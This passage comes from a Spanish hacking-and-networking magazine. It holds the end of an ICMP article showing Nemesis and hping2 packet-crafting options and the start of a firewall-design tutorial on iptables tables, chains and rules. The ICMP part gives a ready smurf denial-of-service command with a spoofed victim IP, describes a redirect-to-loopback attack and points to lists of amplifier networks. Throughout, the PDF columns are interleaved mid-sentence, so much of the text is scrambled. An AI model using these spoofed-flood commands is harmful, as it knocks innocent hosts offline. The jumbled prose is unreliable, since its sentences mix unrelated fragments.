un Code 1, es en nuestra línea, utilizando las decir, redireccionar los datagramas para herramientas ya conocidas. el host de destino. 3.1. Nemesis El parámetro –G 127.0.0.1 es la base del ataque Super Source Quench, ya Empezamos con Nemesis, cuyas que indicamos aquí a la víctima que instrucciones tenemos en el archivo redirija sus paquetes a la dirección de nemesis-icmp.txt de la carpeta en la loopback, 127.0.0.1, es decir, a sí que instalamos la aplicación. mismo. Resumo aquí las opciones más básicas: El parámetro –v es el clásico verbose que nos muestra información de lo que -i : permite especificar el valor del campo estamos haciendo. Type. -c : permite especificar el valor del campo El parámetro –b no lo he explicado, y Code. forma parte del campo Internet Header -e : permite especificar el valor del campo + 64 bits of Original Data Datagram. Identifier. Es concretamente la IP de origen del PC PASO A PASO Nº 23 Página 35
  • 36. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP datagrama que generó el supuesto error --spoof :permite especificar cualquier IP que dio lugar a que se generase el de origen (IP spoofing). mensaje Redirect. --rand-source : permite hacer un IP El parámetro –B forma parte también de spoofing con direcciones IP aleatorias. ese campo, y contiene la dirección IP de --rand-dest : permite utilizar direcciones destino del datagrama original que IP de destino aleatorias. Algo parecido supuestamente originó el Redirect. a lo que expliqué que hacían algunos gusanos, aunque en realidad lo normal Los parámetros –D y –S ya los es que un gusano utilice algún tipo de conocemos de haber usado otras veces heurística para generar las IPs de una Nemesis, y son la IP de destino y de forma más inteligente que una origen respectivamente para este mismo aleatoriedad pura y dura. paquete. --dont-frag : obliga a que el paquete no El parámetro –p 6 forma parte también sea fragmentado. Esta opción puede ser del campo Internet Header + 64 bits ú t i l p a ra r e a l i z a r u n P - M T U - D . of Original Data Datagram, ya que es el número de protocolo de transporte --tos : permite definir el tipo de servicio que había especificado en el datagrama que, como hemos visto, está relacionado original, el cual, al tratarse de TCP, será con algunos mensajes ICMP. 6. --ttl : permite marcar un tiempo de vida Por supuesto, os muestro este ejemplo para el paquete IP. Como ya sabemos, sólo para mostrar el funcionamiento de esto nos permite, entre otras cosas, hacer Nemesis ICMP, y no garantizo que vaya un traceroute. a funcionar. --tr-keep-ttl : esta opción, combinada 3.2. Hping2 con la anterior, permite investigar un router en concreto del camino. Esta opción Vamos a ver algunas de las opciones que fija el valor de ttl, por lo que podríamos nos da hping2 para ICMP. enviar varios paquetes, por ejemplo, al En primer lugar, veamos las opciones cuarto router del camino haciendo: --ttl generales: 4 --tr-keep-ttl. --verbose : el clásico modo verbose Por último, algunas de las opciones para ver información en pantalla. específicas para ICMP. Por supuesto, tenéis todo mucho mejor explicado en --count : permite especificar el número man hping2 : de paquetes que queremos enviar. --icmptype : permite especificar un Type --traceroute : este es un modo especial en la cabecera ICMP. que permite hacer un traceroute. --icmpcode : permite especificar un Code en la cabecera ICMP. Con respecto a la parte IP que, por supuesto, también es necesaria para --icmpipproto : podemos especificar generar paquetes ICMP, tenemos: también los valores del campo Internet Página 36 PC PASO A PASO Nº 23
  • 37. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Header + 64 bits of Original Data claro que no todo el mundo consulta estas Datagram. Por ejemplo, este parámetro páginas para protegerse, y en cambio es para especificar el número de basta con que una sola persona consulte protocolo del datagrama que originó el esta lista con fines perversos para que mensaje ICMP. pueda atacar a cualquier otra persona que no haya tenido en cuenta la lista. Así --icmpcksum : nos permite generar un que, una vez más, no se sabe si es peor checksum inválido. Por defecto, si no el remedio o la enfermedad. ponemos esta opción, hping2 generará automáticamente el checksum correcto. Espero que este artículo os haya resultado interesante, y que por lo menos haya --file : permite especificar un fichero despertado en vosotros la curiosidad por para el campo de DATOS. muchísimas cosas que he esbozado para que vosotros ampliéis información de lo Vamos a ver un ejemplo sencillísimo, que más os haya llamado la atención. para realizar un ataque smurf a la IP 217.138.2.2, utilizando como Por este artículo han circulado muchos amplificadora la red 209.5.x.x : nombres que pueden ser fácilmente consultados en Google, así que os animo hping2 209.5.255.255 --icmp -- a que lo hagáis. verbose --spoof 217.138.2.2 Autor: PyC (LCo) ¡Así de simple! Por cierto, que tenéis disponibles listas de redes que han sido probadas y se sabe que pueden funcionar como amplificadores smurf (es decir, que responden a paquetes Echo Request a la dirección broadcast). Podéis encontrar un registro de estas redes por ejemplo en: http://www.powertech.no/smurf/ . Aunque pueda parecer que este tipo de listas son mantenidas por lamers que dedican su tiempo a ir destruyendo máquinas ajenas, en realidad su cometido suele ser justo el contrario. Se publican estas listas no para ayudar a los atacantes, si no para que la gente que quiera configurar su firewall pueda filtrar directamente todas las redes que sean susceptibles de convertirse en fuentes de un ataque smurf. Pero claro, en realidad al final el resultado suele ser el contrario del esperado. Está PC PASO A PASO Nº 23 Página 37
  • 38. DISEÑO DE CORTAFUEGOS (PARTE II) Para variar, hola a tod@s Sin más preámbulos; En el número 22 de la revista hice una breve descripción Ejemplo más claro: una LAN con direcciones de de las características básicas de un cortafuegos, definiciones, clase B 172.28.xxx.xxx /16 funciones, ventajas, inconvenientes, tipos de cortafuegos Nuestro Firewall no debe dejar salir NINGUN y un vistazo rápido a NAT y sus derivados, esa parte del paquete de datos cuya IP no comience por 172.28, artículo podríamos llamarlo como la Parte I en el diseño si eso se produjera, sería síntoma que alguno de Firewalls. de los clientes de nuestra red está intentando “falsear” su IP por otra para acceder a vaya Ud. Ese artículo terminó con técnicas y accesos NO autorizados a saber donde.... a firewalls y otros dispositivos de filtrado de paquetes. Por el momento esa última parte no nos interesará en estos Arquitectura del Firewall momentos, pero sí que sería conveniente que revises la parte del artículo que se destinó a Firewalls. Para que no Es decir, elegir el modelo, plataforma, tipo de cortafuegos “se me despiste” nadie, voy a empezar poniendo un link y su ubicación... lo que vimos en el artículo del número para que si no dispones del número 22, puedas descargar 22. “parte” de ese artículo, no todo, sólo la base para poder seguir la terminología de este otro. Diseño de directivas y reglas http://www.forohxc.com/Docs/fw/ipt/introfw.pdf Bajo este punto se agrupan las reglas de diseño y operativa del firewall, su funcionamiento y su Aunque hay muchos factores que intervienen en la implementación, los filtros, los registros de actividad implementación final de un firewall o cortafuegos, voy a y por supuesto, la documentación de todo ello para resumir en unos pocos conceptos los puntos más facilitar sus posteriores modificaciones y mejoras, como importantes: mínimo deberíamos definir y diseñar reglas para: Misión del cortafuegos Redes Internas. Redes externas. Bajo este punto se agruparán el “modo de Identificar los servicios que ofrece la red a proteger. funcionamiento” del cortafuegos y las operaciones básicas Identificar los hosts a los que se les permitirá el a realizar, no tienen por qué existir todos los conceptos, acceso a determinados servicios internos o externos. pero los más habituales son: Identificar los host que pueden acceder al cortafuegos para su administración. Bloquear entrada/salida del tráfico no deseado Documentar todas las reglas y directivas de Bloquear entrada/salida del tráfico con IP’s privadas funcionamiento. Bloquear el acceso a hosts y servicios determinados Traducción de direcciones de red, NAT, PAT, SNAT, Implementación DNAT.... Es el paso de las directivas y reglas que hicimos en la Aunque parece obvio, es más importante de lo que fase de diseño al producto elegido y su configuración... parece, te pongo un ejemplo: si hablásemos de un programa para la gestión de un videoclub, sería la codificación del mismo en el lenguaje Un cortafuegos debería bloquear los paquetes de de programación; al hablar de un cortafuegos, es datos que se salgan de la red interna y cuyas IP’s configurar el programa del firewall ya sea hardware o origen NO estén dentro del rango de la red interna, software y también la documentación del mismo, ¿no lo entiendes?, pues te lo resumo en una palabra: algoritmos utilizados, scripts, variables, etc.. IP-spoofing, mmmm, sigo sin entenderlo.... Página 38 PC PASO A PASO Nº 23
  • 39. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Soy un pesado, lo sé... pero es MUY importante la Llevamos muchos pasos adelantados... Arquitectura del documentación, en todo proyecto es una de las tareas Firewall y Pruebas de Comportamiento ya las abordamos más arduas y penosas, pero fundamental, cuando en el número anterior, ahora nos tocan los demás, bueno, disponemos de una documentación acertada, modificar sólo nos faltaría la administración.... que a fin de cuentas, el comportamiento de un programa, código, cortafuegos es mantener “vivo” el firewall, vamos, la tarea de todos o lo que sea, es mucho más sencillo que si nos los días después de este artículo... esa la dejo para ti. encontramos con una maraña de programas, scripts, reglas, etc.. sin saber ni lo que hacen... además, un MÁS SOBRE TECNOLOGÍAS DE cortafuegos es dinámico, lo más probable es que las CORTAFUEGOS.... reglas que apliquemos hoy no sirvan mañana, por cambios de política de empresa, topología de la red, Hemos hablado de NAT, de VPN (poco, pero sabemos que nuevas necesidades, seguridad o sencillamente porque existen) de host bastión, de firewalls de red... veamos nos equivocamos... ya sabes... las leyes de murphy... otros conceptos que nos serán útiles en este artículo. “todo lo que funciona a la primera está mal echo” Pruebas de Comportamiento Flujo de Datos en una red De esto nos ocupamos en el artículo anterior, la parte Esto es muy sencillo, pero hay que comentarlo.... que correspondía a accesos NO autorizados... y consiste en eso... verificar si se comporta como esperábamos, Ya sabemos que en una comunicación tenemos IP de si bloquea lo que debe bloquear, si deja pasar sólo lo origen e IP destino, por tanto tenemos flujos entrantes que debe dejar, si es susceptible a ataques, si registra y salientes.... pero para un cortafuegos puede haber los logs adecuados... vamos... probar y probar.... “otros”, el flujo interno, que es aquel que se origina en la red protegida y tiene como destino la red protegida y Administración el flujo propio, que es aquel que se origina en el mismo cortafuegos, resumiendo: Qué vamos a decir, si alguno está pensando en poner un firewall en su red o en un único equipo y olvidarse de él... apañao va.... los cortafuegos son como una casa, hay que mantenerlas, cuidarlas y mimarlas para que vivas a gusto dentro de ellas y eso es lo que se llama aquí administrar un cortafuegos. No me preguntes por qué no figuran combinaciones como Bueno, dejé al margen otros aspectos en el diseño de Externa-Externa o propio-propio cortafuegos, importantes en muchos casos, pero que pueden quedar “fuera del alcance” de este artículo, estos serían: Acciones y reglas de un Cortafuegos Justificación y necesidad: pérdidas de datos, ciclo de Un cortafuegos lleva a cabo alguna de estas acciones: vida, riesgos... Costes y beneficios: económicos, de rendimiento... Acepta: Permite el paso de un paquete de una red Formación interna: de los administradores, de los a otra. empleados... Desecha: Deniega el paso del paquete y NO informa Garantías y productos: Servicio Técnico, soporte, a l e m i s o r q u e s u p a q u e t e f u e d e s c a r t a d o. facilidad de uso.... Rechaza: Deniega el paso e INFORMA al emisor que no se aceptó el envío. Esos y otros que me dejé por el camino, quizás no correspondan tanto a los técnicos como al Director de Para determinar estas acciones, el cortafuegos examina Informática o hasta el Consejo de Administración de la un conjunto de reglas las cuales llevan asociadas alguna empresa, a fin de cuentas, la implementación de un de esas tres acciones, las reglas pueden ser de dos tipos: cortafuegos conlleva unos costes y deben justificarse. PC PASO A PASO Nº 23 Página 39
  • 40. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Reglas de entrada que especifican acciones para los Los cortafuegos con estado presentan alguna ventaja frente paquetes que entran en el cortafuegos. a los otros: Reglas de salida que especifican acciones para los paquetes que abandonan el cortafuegos. Son más eficientes. Son más seguros. Entre las tecnologías de firewalls nos encontramos con varias modalidades: Son más eficientes porque no tienen que comprobar todas las reglas por cada paquete que forma parte de la misma Firewalls de filtrado de paquetes. comunicación y son más seguros porque previenen del uso Firewalls de Reenvío de paquetes. mal intencionado de paquetes mal formados con señales Firewalls de Envío en representación. ACK evitando el dejar pasar paquetes fraudulentos. Firewalls y VPN. Los estados más comunes de una conexión son: Filtrado de paquetes Nueva: Sin comentarios, una nueva conexión entrante Consiste en inspeccionar el tráfico de una red y comprobar o saliente si cumplen o no las reglas establecidas y obrar en Establecida: Seguimiento de una conexión, es decir, consecuencia. cuando se responde a una conexión nueva, establecida o relacionada. Normalmente, hablamos de filtrado de paquetes cuando Relacionada: Es una conexión establecida pero que un dispositivo (firewall, router, pc...) examina únicamente ha cambiado de puertos o IP’s, el caso más los encabezados de los protocolos que maneja (IP, TCP, sencillo de entender sería un FTP o un ICMP UDP...) y no de sus contenidos... un dispositivo de filtrado redirect de paquetes acepta, rechaza o desecha esos paquetes en Inválida: Normalmente producidos por función de sus encabezados y no de sus contenidos. errores en la comunicación, comunicaciones “inesperadas” o fuera de secuencia, Es como si cuando miras en el buzón de tu casa “filtras” checksum inválidos, etc... lo normal es que el correo en función de las señas de quien te envía las el cortafuegos deseche las conexiones cartas... unas las tiras a la papelera del portal (desechar), inválidas. otras las colocas en el buzón de “el cartero” (rechazas) y otras te las subes a casa (aceptas), pero ese “filtrado” lo Reenvío de Paquetes haces únicamente mirando el sobre... no “abriste” la carta para leer lo que dice... El reenvío de paquetes no es otra cosa más que el enrutamiento, el unir dos o más redes Los cortafuegos que funcionan como filtros de paquetes, en un único host y frecuentemente el reenvío pueden operar de dos formas: de paquetes o enrutamiento de paquetes lleva unido el filtrado de los mismos, por lo que Filtrado con estado (Stateful). suelen ser tecnologías que conviven “a la vez” Filtrado sin estado (Statefulness). La forma más sencilla es una máquina con dos Ambos modos operan examinando “las cabeceras” de los tarjetas de red, lo que algunos llaman host de paquetes, sólo que los cortafuegos con estado, además, radicación doble, cuando se superan esas dos guardan una especie de base de datos (lo que se llama la tarjetas de red se suelen llamar host tabla de estado) en la cual “anotan” si una comunicación multirradicados. entrante o saliente es parte de una comunicación anterior, es decir, un filtrado de paquetes con estado, hace un Seguro que el router que te conecta a Internet seguimiento de toda la sesión, mientras que un filtrado de es un host con al menos dos tarjetas de red paquetes sin estado, cada comunicación es individual y (una LAN ethernet y otra WAN para ADSL, aplica las reglas individualmente haya sido establecida RDSI...) y seguro que en ese mismo router anteriormente o no. Página 40 PC PASO A PASO Nº 23
  • 41. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) puedes aplicar filtros a las conexiones que La diferencia principal entre un envío en representación pasan por él, en el mundo de los routers se y un reenvío de paquetes, eso es, entre un proxy y un s u e l e n l l a m a r A C L’ s o l i s t a s d e a c c e s o , p a r a router, es que el router coloca un paquete de datos en n o s o t r o s , l a s A C L’ s y l o s f i l t r o s s e r á n u n a la red destino sin alterar la IP origen, mientras que un misma cosa. proxy hará lo mismo pero sustituirá la IP real de origen por la IP del proxy. Si te estás preguntando si puedes “convertir” tu PC en un router, la respuesta es SI, ya lo Esto no quiere decir que un router no pueda a su vez veremos... realizar labores de proxy, claro que sí... estamos hablando de los casos “generales”. Cuando un host sólo tiene una tarjeta de Red, lo normal es que no efectúe reenvío de Resumiendo, un router reenvía un paquete, pasa el paquete paquetes. del cliente al servidor, un proxy genera y envía un nuevo paquete en representación del cliente. Lo que nos interesa en esto del reenvío de paquetes es: A su vez, tenemos dos tipos básicos de proxys L a i n t e r f a z o t a r j e t a d e r e d p o r l a q u e nos De circuitos: Operan en el modo de filtrado de llegó el paquete. paquetes. La dirección IP de origen. De aplicación: Inspeccionan el contenido de los La dirección IP destino. paquetes además de sus cabeceras El router construye una tabla, la llamada tabla de No hace falta ser muy espabiladillo para darse cuenta que enrutamiento, y anota las comunicaciones, redes, etc en un proxy lleva una mayor carga de trabajo que un router ella, incluso routers más avanzados pueden tener en cuanta y un mayor consumo de recursos de CPU, memoria, etc... otros factores como es la congestión de las líneas, la calidad y además un proxy de aplicación tiene un desempeño del servicio, la velocidad, el ancho de banda, etc... no es mayor que un proxy de circuitos. el momento de aprender cómo funcionan los protocolos de enrutamiento, nos conformaremos con aprender qué Lo que todos conocemos como proxys “a secas” son los nos ofrecen los reenviadores de paquetes en cuanto a la llamados aquí proxys de aplicación, suelen ser máquinas seguridad e implementación de un firewall, estas son: muy potentes por el gran gasto en recursos, ofrecen seguridad muy alta, permiten esconder la identidad de Paquetes que provienen de orígenes conocidos como sus clientes y como ya hemos dicho antes, además de hostiles o non-gratos filtrar por puertos o IP’s, son capaces de inspeccionar el Paquetes maliciosos o mal formados contenido de los paquetes y rechazar o aceptarlos por Direcciones IP privadas otros criterios, ejemplos a montones, proxys que impiden Direcciones IP restringidas o no válidas el acceso a páginas con contenidos eróticos, violentos, etc... o lo que al administrador del proxy se le ponga en Envío en representación vena... puede restringir hasta el acceso a google si le parece.... La idea de un firewall configurado como envío en representación es la de actuar como proxy o representante Recuerda dar un vistazo al artículo 22, al menos a la parte en la comunicación entre un host de la red interna y otro de NAT, seguro que te aclara algunos conceptos... de la red externa, el host interno delega en el proxy sus La otra tecnología de Firewalls sería su relación con las comunicaciones y es el proxy quien las efectúa Redes Privadas Virtuales (VPN), hoy en día es difícil representando al host de la red interna frente al servidor saber dónde empieza y dónde termina una red privada de la red externa. con esta tecnología, no toca... ahora no... pero próximamente hablaremos de ellas y nos construiremos Todas las comunicaciones pasan por el proxy, las direcciones una VPN internas se traducen en una única dirección, la del proxy. PC PASO A PASO Nº 23 Página 41
  • 42. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Bufff, ya está bien... ya vale de conceptos “generalistas” 1.- Establecer las opciones de configuración de núcleo Ahora, hablemos de IPTables y ampliaremos los conceptos de cortafuegos y lo implementaremos Si tenemos IPTables instalado correctamente, no debería ser necesario tocar nada de aquí, pero por si acaso... IPTABLES Para una máquina con una sola tarjeta de red (como IPTables es un sofisticado cortafuegos que viene incluido será nuestro caso por ahora) las opciones importantes en la práctica totalidad de distribuciones LiNUX, es un son: cortafuegos de filtrado de paquetes con estado y con net.ipv4.conf.default.rp_filter: que controla el potentes capacidades de inspección, registro de actividades bloqueo de paquetes con errores en la dirección origen y reglas. net.ipv4.conf.eth0.accept_source_routing: que Es una de estas cosas que se te aparecen por la vida y controla el bloqueo de paquetes dirigidos desde el que cuando “captas” su lógica de funcionamiento es muy origen sencillo, mientras que cuando te limitas a entreverlo, se hace muy cuesta arriba, también dependerá de la fuente Estas opciones las puedes cambiar modificando el archivo donde acudas a documentarte... espero no defraudar. /etc/sysctl.conf Para los que ya lo conozcáis, este artículo no revestirá un Este archivo junto al /etc/rc.local se ejecutan sólo gran avance, igual ocurrirá con aquellos otros que si conocer cuando el sistema se reinicia, sin embargo si queremos nada de IPTables, si tengáis experiencia en el filtrado de aplicar los cambios sin reiniciar podemos usar: paquetes de routers (ACL’S), la filosofía es muy parecida. sysctl –w net.ipv4.conf.default.rp_filter = 1 En éste artículo me voy a limitar a: sysctl –w net.ipv4.conf.eth0.accept_source_routing = 0 sysctl –p Describir el conjunto de tablas, cadenas, protocolos y reglas. 2.- Configurar el Servicio IPTables para ejecutarse Implementar varios tipos de cortafuegos básicos. Configurar un registro estándar de logs y sucesos. Este comando NO inicia IPTables, sino que él mismo se iniciará la próxima vez que entremos en alguno de los Para el próximo, abordaremos técnicas de: niveles de ejecución 2 al 5 Reenvío de paquetes y routing. chkconfig iptables on NAT y masquerade (SNAT, DNAT....). Implementación avanzada de cortafuegos. Para deshabilitar la ejecución automática del servicio Administración, auditorías y visores avanzados de IPTables: registros. chkconfig iptables off Ya sabéis.... los problemas de espacio en la revista.... Es importante advertir que este comando no detiene el Pero no os preocupéis, si hacéis bien los deberes servicio IPTables, simplemente lo deshabilita para la dispondremos de un auténtico firewall de red con elevadas próxima vez que iniciemos sesión... para detener, iniciar, prestaciones y bastante seguro. reiniciar, etc.. pasa al siguiente punto Comprobar la Configuración y Servicio de IPTables 3.- Iniciar y Detener el servicio IPTables Para poder ejecutar y operar con IPTables puede ser Iniciar el servicio: service iptables start necesario tres cosas (recuerda que uso una distribución Detenerlo: service iptables stop LiNUX RedHat.... esto puede variar en otras distros, pero Reiniciarlo: service iptables restart eso no es el objeto de este artículo) Guardar configuración: service iptables save Página 42 PC PASO A PASO Nº 23
  • 43. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) PREROUTING: Que se encarga de las operaciones ! En el próximo... de NAT destino POSTROUTING: Que se encarga de las operaciones En el próximo artículo veremos otras opciones de núcleo de NAT origen y enmascaramiento. y opciones del fichero sysctl.conf para host con más de una tarjeta de red TABLA mangle Permite modificar los campos TTL (tiempo de vida) y ToS (Tipo de servicio) de un paquete IP Las Tablas de IPTables Además, marca los paquetes que atraviesan la tabla mangle IPTables... Tablas IP... seguro que por ahí le viene el para que sean reconocidos en reglas posteriores, los nombre módulos del kernel de LiNUX u otros cortafuegos. La tabla mangle solo contiene las cadenas PREROUTING El cortafuegos IPTables dispone de seis cadenas principales u OUTPUT que se agrupan en tres tablas principales: Quizás sea la tabla que más nos cueste interpretar ahora, TABLA filter de momento quédate con dos conceptos, la tabla mangle Su misión es comprobar el contenido de los paquetes y los es útil cuando deseamos equilibrar la carga de trabajo en acepta, rechaza o desecha según las reglas establecidas. redes con más de un cortafuegos o (ACCEPT, REJECT o DROP) para proporcionar un respaldo en caso de fallos. Consiste en tres cadenas o subtablas: En resumen, IPTables dispone de FORWARD: Comprueba paquetes que se reenvían tres TABLAS principales (mangle, de una interfaz a otra nat y filter) que a su vez pueden INPUT: Paquetes que son enviados al cortafuegos contener otras tablas, lo que se ha OUTPUT: Paquetes que son enviados por el llamado cadenas o subtablas, cortafuegos. INPUT, OUTPUT, FORWARD, PREROUTING Y POSTROUTING dependiendo de la tabla principal que ! Aclaración IMPORTANTE se use. Puedes pensar que un paquete que se reenvía de una interfaz a Para entender esto mejor, porque si otra atraviesa la tabla INPUT, OUTPUT y FORDWARD, y parece no entendemos esto BIEN, nada de lógico, puesto que a fin de cuentas un paquete reenviado primero lo que venga a continuación será ha de entrar al cortafuegos (INPUT) y tras reenviarlo comprensible, vamos a poner un (FORWARD), sale del cortafuegos (OUTPUT) , pues NO!!!! , ejemplo para que veas como funciona los paquetes en reenvío SOLO ATRAVIESAN la tabla FORWARD, IPTables cuando procesa un por tanto SOLO LAS REGLAS aplicadas en FORWARD se paquete de datos verificarán. Recuerda esto, es una de las claves para aplicar BIEN las reglas de reenvío cuando lleguen. Flujo de datos sin reenvío 1. Desde la red se realiza una TABLA nat petición web por el puerto 80. Ya hemos dicho varias veces que NAT es una traducción 2. E l p a q u e t e l l e g a a l de direcciones de red que incluyen NAT destino, NAT origen cortafuegos. y enmascaramiento, la tabla NAT utiliza dos cadenas para 3. Entra en la tabla mangle las reglas: PREROUTING y se procesa. PC PASO A PASO Nº 23 Página 43
  • 44. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) 4. Pasa a la tabla nat PREROUTING. Vale, acabo de conseguir que no te enteres de nada... 5. Se aplica la tabla filter INPUT y se decide si el bueno, por eso decía que empezaremos por implementar paquete es aceptado o bloqueado. cortafuegos sin reenvío de paquetes y “básico”, las 6. Si no se bloqueó el paquete atraviesa el cortafuegos. complicaciones para el próximo, por ahora quédate con 7. Se aplica la tabla mangle OUTPUT. esto: 8. Se pasa a la tabla filter OUTPUT. Los paquetes enviados al cortafuegos atraviesan las tablas: 9. Se pasa ala tabla nat POSTROUTING. 10. El paquete abandona el cortafuegos. mangle PREROUTING 11. Llega al otro extremo de la red. nat PREROUTING filter INPUT Aclaraciones: Los paquetes que envía el propio cortafuegos atraviesan las tablas: La tabla mangle PREROUTING no suele tener reglas por lo que todos los paquetes que llegan al cortafuegos la mangle OUTPUT atraviesan sin más filter OUTPUT nat POSTROUTING La tabla nat PREROUTING efectúa la traducción de direcciones y tampoco suelen establecerse reglas de filtrado, Visto esto y antes de pasar a construir nuestro “primer” la atraviesan TODOS los paquetes que llegan al cortafuegos. cortafuegos, necesitamos aprender algunas cuestiones básicas acerca de IPTables, son: La tabla filter INPUT procesa los paquetes destinados al propio cortafuegos y suele tener reglas de validación Comandos. Reglas. El proceso local representa los procesos que realiza el Operaciones básicas. cortafuegos para evaluar los paquetes que entran o salen Acciones a ejecutar (dianas). Edición de cadenas y modificación de reglas. La tabla mangle OUTPUT es parecida a mangle PREROUTING, pero SOLO los paquetes generados por el Comandos cortafuegos la atraviesan Quizás es lo más sencillo.... simplemente: iptables La tabla filter OUTPUT, filtra los paquetes que salen del cortafuegos a su destino y también suele disponer de reglas La sintaxis genérica del comando es: La tabla nat POSTROUTING la atraviesan TODOS los iptables operaciones características acción paquetes, ya sean originados en el cortafuegos o en cualquier otro host de la red conectada Las operaciones que puede realizar con las reglas son: Este es un ejemplo SIN REENVÍO, es decir, no hay ruteo entre redes, es como si se tratase de un host con una única Añadir una regla. tarjeta de red por la que entran y salen los paquetes de Insertar una regla. datos, si hubiese reenvío, nos faltaría la tabla filter Eliminar una regla. FORWARD que se debería aplicar ANTES de filter INPUT, Reemplazar un regla. contendría reglas para determinar si el paquete ha de ser aceptado o bloqueado y se enviarían DIRECTAMENTE a la Las operaciones que puede realizar con cadenas son: tabla nat POSTROUTING. Listar las reglas asociadas a una cadena. Y por si nos faltaba algo para “liarla” más, he de decir, que Vaciar una cadena, lo que implica la eliminación de también se pueden insertar cadenas definidas por el usuario, TODAS las reglas que tuviese. personalizadas.... Poner a cero los contadores asociados a una cadena. Página 44 PC PASO A PASO Nº 23
  • 45. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Crear cadenas definidas por el usuario. Ahora en “cristiano”, rechaza todos los paquetes de datos Eliminar cadenas definidas por el usuario. que entren a la interfaz sea cual sea el protocolo que Establecer directivas predeterminadas a una cadena. usen...., y en “cristiano-ye-ye” NO ME COMUNICO CON Cambiar el nombre de una cadena. NADIE. Comprobar las reglas. Esto... espera.... pero si es INPUT, esto sólo afectará a Las características pueden ser: los paquetes entrantes... entonces... las comunicaciones que ese host establezca sí que las dejará pasar, ¿no? Protocolo. TCP: puerto origen, puerto destino, flags (SYN, Pues sí... dos no se comunican si uno no quiere... ACK, RST...), opciones TCP salir, saldrán... pero las respuestas obtenidas NO entrarán... UDP: Puerto origen o puerto destino ICMP: Tipo y código Y ahora “el lío”.... INPUT es entrada, vale... pero “visto IP o All: Todos los protocolos desde donde”, porque si pensamos como la tarjeta de IP origen red INPUT es la entrada de paquetes de datos que provienen IP destino de otras máquinas, pero si pensamos como el cortafuegos, Interfaz de entrada INPUT son los paquetes que salen de la tarjeta de red y Interfaz de salida entran al cortafuegos, es decir, los que salen de la tarjeta Fragmentación y acceden al cortafuegos... por tanto los paquetes entran pero no salen, en lugar de salir pero no entrar.... Las acciones pueden ser: ¿Con cual nos quedamos? ACCEPT, el paquete pasará y será examinado por la siguiente regla Y para terminar... ip son TODOS los protocolos IP, pero DROP, el paquete se desecha y no pasará a la siguiente no ARP, por ejemplo... ¿bloquearía esa regla el tráfico regla, no informa al emisor local ARP? REJECT, el paquete de rechaza no pasando a la siguiente regla e informando al emisor Seguimos con los problemas... –A añade... ¿pero en LOG, el paquete se registra en un servidor Syslog y donde?, ¿al final? ¿al principio? ¿dónde le viene en gana? puede pasar a la siguiente regla. Y si hay otras reglas que dicen lo contrario.... ¿se valida? ¿se ignora? Bueno, de las acciones ya hablaremos más profusamente, hay más como RETURN, otras específicas de NAT como Como ves son preguntas “absurdas” que todos nos hacemos DNAT, MASQUERADE, REDIRECT...y otras un tanto especiales cuando NO entendemos BIEN cómo funciona IPTables como ULOG, MARK, MIRROR... y que nos enredan cuando no c o n o c e m o s l a f i l o s o f í a de trabajo, ni que decir tiene cuando estamos Tiempo al tiempo, por ahora nos quedaremos con las a n t e f i l t r o s d e r e e n v í o o t r a d u c c i o n e s N A T, sencillitas. c r é e m e , h e visto auténticos galimatías en las reglas por el mero hecho de no tener claro lo que significa INPUT Bueno, pues si aplicamos lo aprendido, veamos esta orden: y OUTPUT en un dispositivo de filtrado.... por equivocar los términos... por pensar eso de: “quiero prohibir que iptables –A INPUT –p ip –j DROP mis clientes de red accedan al servidor web, entonces como los paquetes salen de mi red aplico reglas de salida...”, Analicemos: demonios, los paquetes que salen de tu red ENTRAN en el cortafuegos. Iptables es el comando, obvio…. -A INPUT añade la regla a la cadena INPUT Ya, ya lo entiendo... pero.... Y los paquetes que salen del -p ip indica que la regla afectará a TODOS los protocolos IP propio cortafuegos que son... de entrada a su tarjeta de -j DROP, desecha el paquete de datos sin informar al red o de salida.... joer que follón.... y los que se reenvían emisor PC PASO A PASO Nº 23 Página 45
  • 46. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) de una tarjeta de red a otra dentro del propio cortafuegos, ¿que son?... ¿de salida para una y de entrada para la otra?, ya ves... lo que te dije al principio, si no cazamos el concepto, será muy difícil aplicar las reglas positivamente. Bien, veámoslo con un ejemplo visual... el cortafuegos está implementado en la máquina 172.28.0.200 y desde el equipo 172.28.0.50 le hacemos un ping... Como ves en la pantalla anterior, primero se enviaron y recibieron los pings correctamente, luego tras incluir la regla en IPTables, no hay respuesta... A ver que pasó con nuestro tcpdump Bien.. parece que funciona el filtro INPUT, pero a ver que ocurrió en el cortafuegos... Ufff, esto es para nota... resulta que los paquetes aparentemente salen del cortafuegos (no hay regla OUTPUT) El equipo que pone toshiba es el de la ip 172.28.0.50... pero cuando regresa el echo-reply (como es un paquete que se me olvido el –n con el tcpdump... para las próximas INPUT) lo filtra y falla el comando ping, pero realmente me acordaré... los paquetes salieron y entraron de la tarjeta de red y no Bueno, algunas respuestas tenemos... ARP entra y sale sólo los pings, también otro como udp, arp.... aunque se como pedro por su casa en el cortafuegos, luego eso de “ven” los echo reply y los echo request, en la pantalla del que no se comunica con nadie... no es cierto. ping no se recibían....entonces... ¿qué ocurre.? Si observas la tercera entrada, la tarjeta de red del Pues muy simple, HAY QUE PENSAR COMO EL cortafuegos recibe un eco del ping (echo request) pero CORTAFUEGOS y NO como la tarjeta de red. lo filtra, es decir, es como si primero entrase el la tarjeta de red, luego lo procesa el cortafuegos y como tiene una Se me ocurre otra cosa... y si en lugar de aplicar la tabla regla que filtra los paquetes IP entrantes, los bloquea, INPUT aplicamos la regla a la tabla OUTPUT, veamos así: desecha y no recibimos respuesta alguna. Aplicamos la regla y hacemos un ping con cinco intentos... O sea, que el filtro 